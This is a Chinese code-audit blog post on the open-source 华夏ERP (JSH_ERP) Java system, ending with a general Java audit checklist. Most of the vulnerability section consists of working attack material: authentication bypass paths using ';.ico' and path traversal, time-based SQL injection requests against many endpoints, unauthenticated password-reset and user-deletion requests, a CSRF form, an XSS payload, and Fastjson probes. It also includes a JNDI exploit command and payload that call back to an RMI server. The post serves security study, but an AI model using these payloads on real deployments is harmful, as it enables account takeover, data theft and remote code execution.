文章正文约8100字,目录如下:
一、环境搭建
二、具体漏洞审计
(1)swagger-api文档信息泄露
(2)账号密码泄露漏洞
(3)暴力破解漏洞
(4)csrf漏洞
(5)sql注入(举一反三+yakit)
(6)逻辑漏洞(越权重置密码+越权删除用户)
(7)xss
(8)Fastjson漏洞
1. /user/list处存在fastjson漏洞
2. /material/getMaterialEnableSerialNumberList处存在fastjson漏洞
3. /material/list处存在fastjson漏洞三、java代码审计方法论总结
一、环境搭建
审计版本为2.3
,但是也会穿插3.0
以上的版本中的漏洞。
# v2.3
git clone https://gitee.com/jishenghua/JSH_ERP.git -b v2.3
# v3.0+
git clone https://gitee.com/jishenghua/JSH_ERP.git
二、具体漏洞审计
(1)swagger-api文档信息泄露
华夏erp``v3.0
以前,访问/v2/api-docs
,v3.0
及以后,访问/jshERP-boot/v2/api-docs
。虽然没什么敏感信息,但是还是泄露了不少接口信息,以及接口传参信息,可以测试是否存在未授权的情况。分析见下方(2)。
(2)账号密码泄露漏洞
华夏erp``v3.0
以前,访问/user/getAllList;.ico
,v3.0
及以后,访问/jshERP-boot/user/getAllList;.ico
。用户名是明文,密码是
md5
加密的,解密即可直接登录。漏洞分析:在IDEA
中双击shift
打开全局搜索,搜索@WebFilter
,可以看到作者自定义了一个LogCostFilter
来做登录的判断:在继续看这段代码后面的代码:
可以看到作者把之前的
ignoredUrl
按照分隔符#
来分开,并存入ignoredList
,然后在这个doFilter
函数中进行以下三个判断:如果url
中包含/doc.html*
或者/register.html*
或者/login.html*
,那么就不认证该请求;如果url
中包含.css
或.js
或.jpg
或.png
或.gif
或.ico
,那么也不认证该请求;如果请求的路由是以/user/login
或/user/registerUser
或/v2/api-docs
,那么也不认证该请求。这就直接解释了上面(1)中的未授权获取api
文档的原因。我们可以在UserController.java
中看到有一些get
方法的路由:尝试拼接
;.ico
来进行未授权访问,发现都是可行的:
http://192.168.161.4:8080/user/getAllList;.ico
http://192.168.161.4:8080/user/getUserList;.ico
尝试利用第二种思路来绕过,确认可行:
POST /user/resetPwd HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
Cookie: JSESSIONID=B4387835AFAA3C0481CFA6A4E8AB0C7B; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1697113234; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1697113754
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6
id=131
尝试利用第三种思路来绕过,也是可以的:
GET /user/login/../getAllList HTTP/1.1
Host: 10.0.77.188:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696836740; JSESSIONID=85340F59235BDDD1EEA36C2C54465045; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696839128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
Referer: http://10.0.77.188:8080/
当然对于
v3.0
以上的版本,有如下绕过方式:
/a.ico/../
/jshERP-boot/doc.html/../../
/jshERP-boot/register.html/../../
/jshERP-boot/login.html/../../
/jshERP-boot/user/login/../../../
/jshERP-boot/user/registerUser/../../../
/jshERP-boot/user/randomImage/../../../
/jshERP-boot/platformConfig/getPlatform/../../../
/jshERP-boot/v2/api-docs/../../../
/jshERP-boot/webjars/../../
/jshERP-boot/systemConfig/static/../../../
通过白名单+目录穿越的方式实现绕过。防御思路就是采用Shiro
或者Spring Security
这种权限认证框架。
(3)暴力破解漏洞
这个系统没有设置任何安全防护措施,导致直接可以暴力破解:
(4)csrf漏洞
在3.0
版本以前是存在这个漏洞的:poc
如下(我这里是演示在用户未知的情况下点击按钮实现消息已读):
<html>
<body>
<form action="http://10.0.77.188:8080/msg/batchUpdateStatus" method="POST" name="form1" enctype="application/x-www-form-urlencoded" >
<input type="hidden" name="ids" value="2"/>
<input type="hidden" name="status" value="0"/>
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/');</script>
</body>
</html>
但是3.0
版本开始之后这个漏洞就被修了,作者加了个X-Access-Token
参数来验证:具体
token
的生成代码见如下函数:com.jsh.erp.service.user.UserService#login
:生成完了之后会放到
redis
缓存中,用的时候再拿:
(5)sql注入(举一反三+yakit)
从项目的目录结构中我们可以看到作者只写了一个filter
,就是我们之前看到的那个LogCostFilter
:也就是说,并没有对常见的
sql
和xss
进行过滤,很有可能存在sql
注入漏洞。我们全局搜索${
(因为mybatis
中#{
是会经过预编译再执行的,而${
则不会,很有可能存在漏洞):点进去查看:
再全局搜索
selectByConditionUser
,发现调用位置为com.jsh.erp.service.user.UserService#select
:按住
CTRL+H
然后点击函数,即可看到调用位置为com.jsh.erp.service.user.UserComponent#getUserList
:可以看到这里的
username
和password
是直接通过com.jsh.erp.utils.StringUtil#getInfo
函数获取到的。可以看到在这个函数中调用了fastjson
中的com.alibaba.fastjson.JSON#parseObject(java.lang.String)
方法,去解析一个变量叫做search
,结合命名,不难猜测到应该是这里的功能点:发现确实有这个参数:
那就看传入的
userName
和loginName
有没有经过过滤了。我们回到之前的com.jsh.erp.service.user.UserComponent#getUserList
这个函数,向上走即可看到就是在上面的com.jsh.erp.service.user.UserComponent#select
进行调用的:再往上追踪这里的
select
函数,可以看到上一层调用是在com.jsh.erp.service.CommonQueryManager#select
这个函数中:这里我们可以看到有一个
getCommonQuery
方法和他的参数apiName
,我们点进该方法,可以看到先是一个init
函数来初始化configComponentMap
:可以看到上图中红框框出来的部分返回值的类型是一个作者自定义的
ICommonQuery
类型,那就奇怪了,这个类型怎么会有select
方法呢?于是我继续跟进ICommonQuery
,可以看到原来它调用的是com.jsh.erp.service.ICommonQuery#select
这个自定义的select
函数:我们再跟进
com.jsh.erp.service.CommonQueryManager#select
这个函数,可以看到调用点位于com.jsh.erp.controller.ResourceController#getList(java.lang.String, java.lang.Integer, java.lang.Integer, java.lang.String, javax.servlet.http.HttpServletRequest)
:可以看到,这里的
apiName
就是我们请求路由中的user
,然后从请求中获取search
的值,放入parameterMap
中,键为Constants.SEARCH
。我们在这里添加一行代码,并打上断点然后debug
:
System.out.println(Arrays.toString(configComponents));
从中我们可以看到
ICommonQuery[] configComponents
这个定义,实际上是把所有继承自ICommonQuery
的类的实例保存到一个数组里面,那都是哪里继承自ICommonQuery
呢?我们查看ICommonQuery
接口的implementations
,可以看到是service
文件夹下的各个目录的各个component
。也就是说
service
下的每一个文件夹的名字就是apiName
,根据这个apiName
找到对应的组件文件,例如UserComponent.java
,然后调用对应的select
方法,通过select
方法调用getUserList
方法,先从parameterMap
中根据键值获取search
,然后再从search
中获取userName
和loginName
,接着调用userService
的select
方法。然后通过mybatis
映射com.jsh.erp.datasource.mappers.UserMapperEx#selectByConditionUser
来执行sql
查询。我这里用
yakit
加载了sql
注入启发式检测的插件,已经疯狂提示我存在sql
注入了:用sqlmap直接跑来验证:
python sqlmap.py -r res.txt --dbms Mysql --level 3 --dbs
当然,类似的
sql
注入点还有很多很多,我这里直接给出poc
,比如:
GET /msg/getMsgCountByStatus?status=1%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.045404347415217%29--+ HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=5814C17C1BBECE611910AF467A0955B1; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696992878; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696992888
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/index.html
Accept-Encoding: gzip, deflate
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
GET /role/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%E7%A7%9F%E6%88%B7%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.066%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Referer: http://10.0.241.61:8080/pages/manage/role.html
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994730
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
GET /account/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%22%2C%22remark%22%3A%22%22%2C%22serialNo%22%3A%22zzz111%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.278001282042502%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Encoding: gzip, deflate
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995270
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/reports/account_report.html
GET /depotHead/list?currentPage=1&pageSize=15&search=%7B%22beginTime%22%3A%22%22%2C%22depotIds%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22number%22%3A%22CGDD00000000345%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22subType%22%3A%22%E9%87%87%E8%B4%AD%E8%AE%A2%E5%8D%95%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0966381014955253%29--+%22%2C%22type%22%3A%22%E5%85%B6%E5%AE%83%22%7D HTTP/1.1
Host: 10.0.241.61:8080
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/bill/purchase_orders_list.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995455
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
GET /materialProperty/list?currentPage=1&pageSize=100&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0620910241654653%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/bill/retail_back_list.html
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995472
GET /systemConfig/list?currentPage=1&pageSize=15&search=%7B%22companyName%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0433219806739986%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995829
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Referer: http://10.0.241.61:8080/pages/manage/systemConfig.html
GET /materialProperty/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.039899494936612%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696995822
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/materials/materialProperty.html
GET /person/list?currentPage=1&pageSize=15&search=%7B%22name%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.0524320512433443%29--+%22%2C%22type%22%3A%22%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996002
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Referer: http://10.0.241.61:8080/pages/manage/person.html
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
GET /supplier/list?currentPage=1&pageSize=15&search=%7B%22description%22%3A%22%22%2C%22phonenum%22%3A%22%22%2C%22supplier%22%3A%22%22%2C%22telephone%22%3A%22%22%2C%22type%22%3A%22%E4%BE%9B%E5%BA%94%E5%95%86%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%284.0345239095939%29--+%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996018
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Referer: http://10.0.241.61:8080/pages/manage/vendor.html
Accept-Encoding: gzip, deflate
GET /supplier/list?currentPage=1&pageSize=15&search=%7B%22description%22%3A%22%22%2C%22phonenum%22%3A%22%25%27%2F%2A%2A%2FAnd%2F%2A%2A%2FSleeP%283.4777042140555876%29--+%22%2C%22supplier%22%3A%22%22%2C%22telephone%22%3A%22%22%2C%22type%22%3A%22%E4%BC%9A%E5%91%98%22%7D HTTP/1.1
Host: 10.0.241.61:8080
Cookie: JSESSIONID=7A6FE7C1B0D5FB69A73A98A6F99C7E21; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1696994665; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1696996012
X-Requested-With: XMLHttpRequest
Referer: http://10.0.241.61:8080/pages/manage/member.html
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
实在是太多了,就不一一列举了,直接说快速检测的批量方法:我们在yakit
中勾选启发式sql
注入检测的插件,然后点击劫持,然后对各个查询的功能点挨个输入参数查询即可:然后查看即可:
太爽了有没有哈哈~
(6)逻辑漏洞(越权重置密码+越权删除用户)
漏洞点位置:但是只有
admin
才有修改密码这个功能,不过我们可以利用之前(2)中的方法来绕过。也就是说,我们可以利用普通用户构造如下数据包来越权修改他人的密码为初始密码123456
,我们先登录用户jsh
/123456
,然后抓包改包为如下内容:
POST /login.html/../user/resetPwd HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6
id=131
修改前:发包后:
注意这里我们需要把cookie删掉,这样就是在未授权的情况下重置他人的密码:
删除用户的话同理,改包如下:
POST /login.html/../user/deleteUser HTTP/1.1
Host: 10.0.184.49:8080
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://10.0.184.49:8080/pages/manage/user.html
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://10.0.184.49:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 6
id=131
删除之前:删除之后:
以上漏洞出现的原理也非常简单:
除了用户名不能为
admin
之外就没有任何的判断逻辑了。
(7)xss
payload
:
<script>alert(1)</script>
很多地方都可以插入这种xss
的payload
,而且必定成功,因为作者在这个2.3
版本中完全没有写相关的过滤代码。点击保存之后,即可触发弹窗:
(8)Fastjson漏洞
由于之前我们在信息搜集阶段已经知道使用的fastjson
版本是1.2.55
,明显是存在漏洞的,关于fastjson
漏洞的学习与分析,可以看我之前写的文章:https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw。
/user/list处存在fastjson漏洞
在我们之前(5)的分析中,我们已经知道,在用户管理那里是使用了fastjson
的,我们可以先试试看能否利用,具体payload
可以参考https://github.com/safe6Sec/Fastjson
:
{"@type":"java.net.Inet4Address","val":"awpcaa.dnslog.cn"}
url
编码然后发送:
/login.html/../user/list?search=%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%61%77%70%63%61%61%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d¤tPage=1&pageSize=15
这里报错
500
但是没有关系,我们直接看dnslog
这里:发现是存在漏洞的。尝试利用:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
编译过程中如果出现下图中的报错,去设置里面开启跳过测试即可:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.0.184.49
拼接payload
:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://10.0.184.49:1099/ivs4fr", "autoCommit":true}
url
编码后发送,结果发现没有开启autotype
:但是华夏
erp
是有mysql
环境的,可以参考以下文章进行利用:
http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/#蓝帽杯2022决赛-赌怪 https://www.cnblogs.com/kingbridge/articles/16720318.html https://blog.csdn.net/qq_42077227/article/details/130236560
事实上,search
接口这里都是存在Fastjson
漏洞的。
/material/getMaterialEnableSerialNumberList处存在fastjson漏洞
验证:
{"@type":"java.net.Inet4Address","val":"pvsg6s.dnslog.cn"}
/material/list处存在fastjson漏洞
这里的所有search
参数都是存在漏洞的。
{"@type":"java.net.Inet4Address","val":"piq45h.dnslog.cn"}
漏洞原理也大致相同,都是调用到
getInfo
方法触发了fastjson
漏洞。
三、java代码审计方法论总结
网上的分析思路总结:
-
看 pom.xml
,看使用了哪些依赖,如果使用了fastjson
、log4j
、log4j2
等这种存在已知漏洞的组件的话,就看版本是否对应,如果是就尝试利用; -
看能否利用 sql
注入,先看是否存在jdbc
注入,也就是有没有利用类似PreparedStatement
预编译的这种机制而不是直接进行拼接;然后看是否存在Mybatis
注入,具体查找方法就是找xml
文件,然后朝朝关键点,比如&{}
,然后反推到DAO
,再反推到实现的类,通过调用链找到前台url
,找到利用点。
这种产生的原因可能如下:
# https://blog.csdn.net/qq_53079406/article/details/128270053
1. 模糊查询
使用#程序会报错 Select * from news where title like '%#{title}%'
(可能会把#号改成了$)
正确:Select * from news where tile like concat('%',#{title}, '%')
2. in 后有参数
使用# 同样会报错 Select * from news where id in (#{ids})
(可能会将将#替换为$)
正确(使用foreach) id in<foreach collection="ids" item="item" open="("separatosr="," close=")">#{ids} </foreach>
3. order by
order by使用的是$,而like和in没有问题
也有可能出现hibernate
注入,出问题的思路和jdbc注入类似,不采用预编译而是直接拼接导致出现漏洞。
1、安全写法():参数绑定预编译
Query<User>.query=session.createNativeQuery("select * from user where name=:name");
query.setParameter("name",parameter) ;
2、不安全写法(User.java):直接拼接
Query<User>.query=session.createNativeQuery("select * from user where name="+req.getParameter("id"));
-
查找是否存在代码执行和函数执行漏洞,例如查找可执行函数、表达式注入、后端模板引擎(
Freemarker
、Velocity
、Thymeleaf
等)注入、第三方开源组件等。 -
ssrf
漏洞危险函数总结:
urlConnection.getInputStream
HttpURLConnection.getInputStream
URLConnection.getInutStream
HttpClient.execute
OkHttpClient.newCall.execute
Request.Get.execute
Request.Post.execute
URL.openStream
ImageIO.read
-
xxe
漏洞危险函数与关键字总结:
xlsx-streamer poi-ooxml
Documentbuilder|DocumentBuilderFactory|SAXReader|SAXParser|SAXParserFactory|SAXBuilder|TransformerFactory|reqXml|getInputStream|XMLReaderFactory|.newInstance|SchemaFactory|SAXTransformerFactory|javax.xml.bind|XMLReader|XmlUtils.get|Validator
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
org.apache.commons.digester3.Digester
-
反序列化漏洞
序列化使用的地方主要有如下这些:
1、各种参数、cookie、sesion,存储时候可能会进行各种加密
2、Servlets http,Sockets,Session管理器(包含的协议:JMX,RMI,JMS,JNDI等)
3、xml:Xstream,XMLDecoder等(Content-type: application/xml)
4、json组件:例如jackson,fastjson等
危险函数总结:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
-
文件上传关键字
upload Upload
<form action=
filename fileName
new File(
enctype="multipart/form-data"
MultipartHttpServletRequest multipartRequest
ServletFileUpload
-
登录绕过关键字
setAttribute(
getRequestDispatcher(
new UserSession( new .*Session(
过滤器/拦截器bypass chain.doFilter(
.setAuthent
authenticate(
setSessionId(
new User.*
session.setAttribute("
关注第三方组建druid等 Druid-Session监控-前端页面: /druid/websession.html
Druid-Session监控-api接口: /druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000
-
解压缩相关漏洞
ZipInputStream
unzip
参考文章:
https://www.cnblogs.com/piaomiaohongchen/p/17244664.html
https://blog.csdn.net/qq_53079406/article/details/128270053
原文始发于微信公众号(追梦信安):【代码审计系列】第一篇:华夏ERP(附java代码审计方法论总结)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论